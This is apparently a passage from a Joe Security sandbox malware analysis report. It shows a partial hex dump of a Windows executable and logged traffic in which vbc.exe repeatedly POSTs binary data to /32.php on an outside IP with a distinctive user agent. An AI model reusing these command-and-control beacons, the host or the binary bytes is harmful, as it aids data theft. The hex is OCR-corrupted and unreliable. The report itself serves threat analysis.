00 20 00 00 00 94 Ob 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 2c 06 00
00 00 cO Ob 00 00 08 00 00 00 96 Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 Oc 00
00 00 00 €0 Ob 00 00 02 00 00 00 9e Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 c0 b2 Ob 00 00 00 00 00 48 00 00 00 02 00 05 00 e8 26 01 00 68 05 01 00 03 00 00 00 01 00 00 06
50 2¢ 02 00 ef 85 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 O
000 00 00 00 00 00 00 00 6a 2b 02 26 16 28 Oe 00 00 Oa 28 0f 00 00 Oa 28 13 00 00 06 02 6f 10 00 00 Oa 2a 00 13 30 03
00 bb 00 00 00 01 00 00 11 2b 02 26 16 2b 02 26 16 20 03 00 00 00 16 39 53 00 00 00 26 02 16 28 11 00 00 Oa 38 Ob 00
00 00 26 20 01 00 00 00 38 3b 00 00 00 02 16 28 0a 00 00 06 20 07 00 00 00 38 2a 00 00 00 02 16 28 07 00 00 06 20 06
00 00 00 38 19 00 00 00 02 16 28 09 00 00 06 38 bb ff ff ff 20 03 00 00 00 fe Oe 00 00 fe Oc 00 00 45 08 00 00 00 c2 ff ff ff
ao ff ff ff c2 ff f ff b ff ff ff 90 ff ff ff 89 ff ff ff 1.0 00 00 00 2f 00 00 00 20 05 00 00 00 28 05 00 00 06 3a cc ff ff ff 26 02 16
2808 00 00 06 16 28 05 00 00 06 39 73 ff ff ff 26 20 00 00 00 00 16 39 ad ff ff ff 26 2a 00 56 2b 02 26 16 02 28 Ob 00 00
06 28 Oc 00 00 06 28 0d 00 00 06 2a 00 00 56 2b 02 26 16 02 28 Ob 00 00 06 6f 23 00 00 06 28 0e 00 00 06 2a 00 00 la
2b 02 26 16 17 2a 00 1a 2b 02 26 16 16 2a 00 4a 2b 02 26 16 fe 09 00 00 fe 09 01 00 28 12 00 00 Oa 2a 00 4a 2b 02 26
16 fe 09 00 00 fe 09 01 00 28 13 00 00 Oa 2a 00 4a 2b 02 26 16 fe 09 00 00 fe 09 01 00 28 14 00 00 Oa 2a 00 4a 2b 02 26
16 fe 09 00 00 fe 09 01 00 28 15 00 00 Oa 2a 00 2e 2b 02 26 16 00 28 15 00 00 06 2a 3a 2b 02 26 16 fe 09 00 00 6f 21 00
00 06 2a 00 4a 2b 02 26 16 fe 09 00 00 fe 09 01 00 28 16 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJ” @ @K,? H.text ".rsrc,@@.reloc@BH&hP ,j+&(((0*
0+&+& 9S&(8& 8;( 8*( 8(8 E/ (:&((95& 9&*V+&(((*V+&(0#(*+&*+&*I+&(*I+&(*I+&(*I+&(* +&(*:+&0!* I +&(

Destination IP Destination Port Process

63.141.228.141 80 C:\Users\Public\vbc.exe

Data

POST /32.php/S4wFP8QBwWwWITp HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: 63.141.228.141

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: B78A3212

Content-Length: 176

Connection: close
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kBytes

Timestamp transferred Direction Data
Jun 16, 2021 808 IN HTTP/1.1 404 Not Found
12:29:48.545754910 CEST Date: Wed, 16 Jun 2021 10:29:47 GMT

Server: Apache

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 0d Oa Od Oa 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 3e 0d Oa 20 20 20 20 3c
68 65 61 64 3e 0d Oa 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79
70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e
0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6¢ 22 20 6
3 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69
76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0d Oa 20 20 20 20 3c 6d 65 74
612068 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0d Oa 20 20
20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64
65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2e 30 22 3e 0d Oa 20 20 20 20 3c
74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6¢ 65 20
7479 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d Oa 20 20 20 20 20
20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6¢c 79 3a 20 41 72 69 61 6¢ 2c 20 48 65 6¢ 76 65 74 69 63 61 2c 20 73 61
6e 73 2d 73 65 72 69 66 3b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b
0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b
0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 66 66 66 3b
0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6¢ 6f 72 3a 20 23 32 46 33 32 33 30 3b 0d 0a 20 20 20 20 20 20 20 20
2020 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b
0d 0a 20 20 20 20 20 20 20 20 7d 0d Oa 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0d Oa
2020 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6¢ 61 79 3a 20 62 6¢ 6 63 6b 3b 0d Oa 20 20 20 20 20 20 20 20 20 20
202070 61 64 64 69 6e 67 3a 20 30 3b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d Oa
2020 20 20 20 20 20 20 7d 0d Oa 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d Oa 20 20 20 20 20 20 2
020 20 2020 20 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 20 61 75 74 6f 3b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 6d 61
72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a
2030 20 31 30 70 78 3b 0d Oa 20 20 20 20 20 20 20 20 7d 0d Oa 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d
69 6e 66 6f 20 7b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6¢ 6f 72 3a 20 23 43 43 43 43 43 43 3b 0d Oa 20 20 20
2020 20 20 20 7d 0d Oa 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0d Oa 20 20 20 20 20 20 20
20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d Oa 20 20 20 20 20
202020 2e 7374617475 73 2d 72 65 61 73 6f 6e 20 7b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73
69 7a 65 3a 20 32 35 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6¢ 61 79 3a 20 62 6c 6f 63 6b 3b
0d 0a 20 20 20 20 20 20 20 20 7d 0d Oa 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 2c 0d Oa 20 20
2020 20 20 20 20 2e 72 65 61 73 6f 6e 2d 74 65 78 74 20 7b 0d Oa 20 20

Data Ascii: <IDOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-
equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>404 Not

Found<ftitle> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px;
line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0;

} section, footer { display: block; padding: 0; margin: 0; } .container { margin-
left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; }
.status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; }
.contact-info, .reason-text {

Session ID Source IP Source Port Destination IP  Destination Port Process

2 192.168.2.22 49169 63.141.228.141 80 C:\Users\Public\vbc.exe

kBytes

Timestamp transferred Direction Data

Jun 16, 2021 819 ouT POST /32.php/S4AWFP8QBWWITp HTTP/1.0

12:29:48.840133905 CEST User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: 63.141.228.141
Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: B78A3212
Content-Length: 176

Connection: close

Copyright Joe Security LLC 2021 Page 22 of 28



kBytes

Timestamp transferred Direction Data
Jun 16, 2021 820 IN HTTP/1.1 404 Not Found
12:29:49.679653883 CEST Date: Wed, 16 Jun 2021 10:29:48 GMT

Server: Apache

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 0d Oa 0d Oa 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 3e 0d Oa 20 20 20 20 3c
68 65 61 64 3e 0d Oa 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79
70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e
0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6¢ 22 20 6
3 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69
76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0d Oa 20 20 20 20 3c 6d 65 74
612068 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0d Oa 20 20
20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64
65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2e 30 22 3e 0d Oa 20 20 20 20 3c
74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 20 20 20 20 3c 73 74 79 6¢ 65 20
7479 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d Oa 20 20 20 20 20
20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6¢c 79 3a 20 41 72 69 61 6¢ 2c 20 48 65 6¢ 76 65 74 69 63 61 2c 20 73 61
6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b
0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b
0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 66 66 66 3b
0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6¢ 6f 72 3a 20 23 32 46 33 32 33 30 3b 0d 0a 20 20 20 20 20 20 20 20
2020 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b
0d 0a 20 20 20 20 20 20 20 20 7d 0d Oa 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0d Oa
2020 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6¢ 61 79 3a 20 62 6¢ 6 63 6b 3b 0d Oa 20 20 20 20 20 20 20 20 20 20
202070 61 64 64 69 6e 67 3a 20 30 3b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d Oa
20 20 20 20 20 20 20 20 7d 0d Oa 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 20 20 20 20 2
020 20 2020 20 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 20 61 75 74 6f 3b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 6d 61
72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a
2030 20 31 30 70 78 3b 0d Oa 20 20 20 20 20 20 20 20 7d 0d Oa 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d
69 6e 66 6f 20 7b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6¢ 6f 72 3a 20 23 43 43 43 43 43 43 3b 0d Oa 20 20 20
2020 20 20 20 7d 0d Oa 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0d Oa 20 20 20 20 20 20 20
20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d Oa 20 20 20 20 20
202020 2e 7374617475 73 2d 72 65 61 73 6f 6e 20 7b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73
69 7a 65 3a 20 32 35 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6¢ 61 79 3a 20 62 6¢ 6f 63 6b 3b
0d 0a 20 20 20 20 20 20 20 20 7d 0d Oa 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 2c 0d Oa 20 20
2020 20 20 20 20 2e 72 65 61 73 6f 6e 2d 74 65 78 74 20 7b 0d Oa 20 20

Data Ascii: <IDOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-
equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>404 Not

Found<ftitle> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px;
line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0;

} section, footer { display: block; padding: 0; margin: 0; } .container { margin-
left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; }
.status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; }
.contact-info, .reason-text {

Session ID Source IP Source Port Destination IP  Destination Port Process

3 192.168.2.22 49170 63.141.228.141 80 C:\Users\Public\vbc.exe

kBytes

Timestamp transferred Direction Data

Jun 16, 2021 830 ouT POST /32.php/S4AWFP8QBWWITp HTTP/1.0

12:29:49.987019062 CEST User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: 63.141.228.141
Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: B78A3212
Content-Length: 149

Connection: close
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kBytes

Timestamp transferred Direction Data
Jun 16, 2021 832 IN HTTP/1.1 404 Not Found
12:29:50.833703995 CEST Date: Wed, 16 Jun 2021 10:29:50 GMT

Server: Apache

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 0d Oa 0d Oa 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 3e 0d Oa 20 20 20 20 3c
68 65 61 64 3e 0d Oa 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79
70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e
0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6¢ 22 20 6
3 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69
76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0d Oa 20 20 20 20 3c 6d 65 74
612068 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0d Oa 20 20
20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64
65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2e 30 22 3e 0d Oa 20 20 20 20 3c
74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 20 20 20 20 3c 73 74 79 6¢ 65 20
7479 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d Oa 20 20 20 20 20
20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6¢c 79 3a 20 41 72 69 61 6¢ 2c 20 48 65 6¢ 76 65 74 69 63 61 2c 20 73 61
6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b
0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b
0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 66 66 66 3b
0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6¢ 6f 72 3a 20 23 32 46 33 32 33 30 3b 0d 0a 20 20 20 20 20 20 20 20
2020 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b
0d Oa 20 20 20 20 20 20 20 20 7d 0d Oa 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0d Oa
2020 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6¢ 61 79 3a 20 62 6¢ 6 63 6b 3b 0d Oa 20 20 20 20 20 20 20 20 20 20
202070 61 64 64 69 6e 67 3a 20 30 3b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d Oa
20 20 20 20 20 20 20 20 7d 0d Oa 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 20 20 20 20 2
020 20 2020 20 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 20 61 75 74 6f 3b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 6d 61
72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a
2030 20 31 30 70 78 3b 0d Oa 20 20 20 20 20 20 20 20 7d 0d Oa 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d
69 6e 66 6f 20 7b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6¢ 6f 72 3a 20 23 43 43 43 43 43 43 3b 0d 0a 20 20 20
2020 20 20 20 7d 0d Oa 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0d Oa 20 20 20 20 20 20 20
20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d Oa 20 20 20 20 20
202020 2e 7374617475 73 2d 72 65 61 73 6f 6e 20 7b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73
69 7a 65 3a 20 32 35 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6¢ 61 79 3a 20 62 6c 6f 63 6b 3b
0d 0a 20 20 20 20 20 20 20 20 7d 0d Oa 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 2c 0d Oa 20 20
2020 20 20 20 20 2e 72 65 61 73 6f 6e 2d 74 65 78 74 20 7b 0d Oa 20 20

Data Ascii: <IDOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-
equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>404 Not

Found<ftitle> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px;
line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0;

} section, footer { display: block; padding: 0; margin: 0; } .container { margin-
left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; }
.status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; }
.contact-info, .reason-text {

Session ID Source IP Source Port Destination IP  Destination Port Process

4 192.168.2.22 49171 63.141.228.141 80 C:\Users\Public\vbc.exe

kBytes

Timestamp transferred Direction Data

Jun 16, 2021 842 ouT POST /32.php/S4AWFP8QBWWITp HTTP/1.0

12:29:51.153026104 CEST User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: 63.141.228.141
Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: B78A3212
Content-Length: 149

Connection: close
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kBytes
Timestamp transferred

Jun 16, 2021 844
12:29:51.991955042 CEST

Code Manipulations

Statistics

Behavior

o)

System Behavior

Direction

IN

Click to jump to process

Data

HTTP/1.1 404 Not Found

Date: Wed, 16 Jun 2021 10:29:51 GMT

Server: Apache

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 0d Oa 0d Oa 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 3e 0d Oa 20 20 20 20 3c
68 65 61 64 3e 0d Oa 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79
70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e
0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6¢ 22 20 6
3 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0d Oa 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69
76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74
612068747470 2d 6571 7569 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0d 0a 20 20
20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64
65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 20 20 20 20 3c 73 74 79 6¢ 65 20
7479 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20
20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 20 41 72 69 61 6¢ 2c 20 48 65 6¢ 76 65 74 69 63 61 2c 20 73 61
6e 73 2d 73 65 72 69 66 3b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b
0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b
0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 66 66 66 3b
0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6¢ 6f 72 3a 20 23 32 46 33 32 33 30 3b 0d 0a 20 20 20 20 20 20 20 20
20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b
0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0d Oa
2020 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6¢ 61 79 3a 20 62 6¢ 6f 63 6b 3b 0d Oa 20 20 20 20 20 20 20 20 20 20
202070 61 64 64 69 6e 67 3a 20 30 3b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d Oa
20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 20 20 20 20 2
020 20 20 20 20 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61
72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a
20 302031 3070 78 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d Oa 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d
69 6e 66 6f 20 7b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6¢ 6f 72 3a 20 23 43 43 43 43 43 43 3b 0d Oa 20 20 20
20 20 20 20 20 7d 0d Oa 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0d 0a 20 20 20 20 20 20 20
20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0d Oa 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20
2020202e 737461 747573 2d 72 65 61 73 6f 6e 20 7b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73
69 7a 65 3a 20 32 35 30 25 3b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6¢ 61 79 3a 20 62 6¢ 6f 63 6b 3b
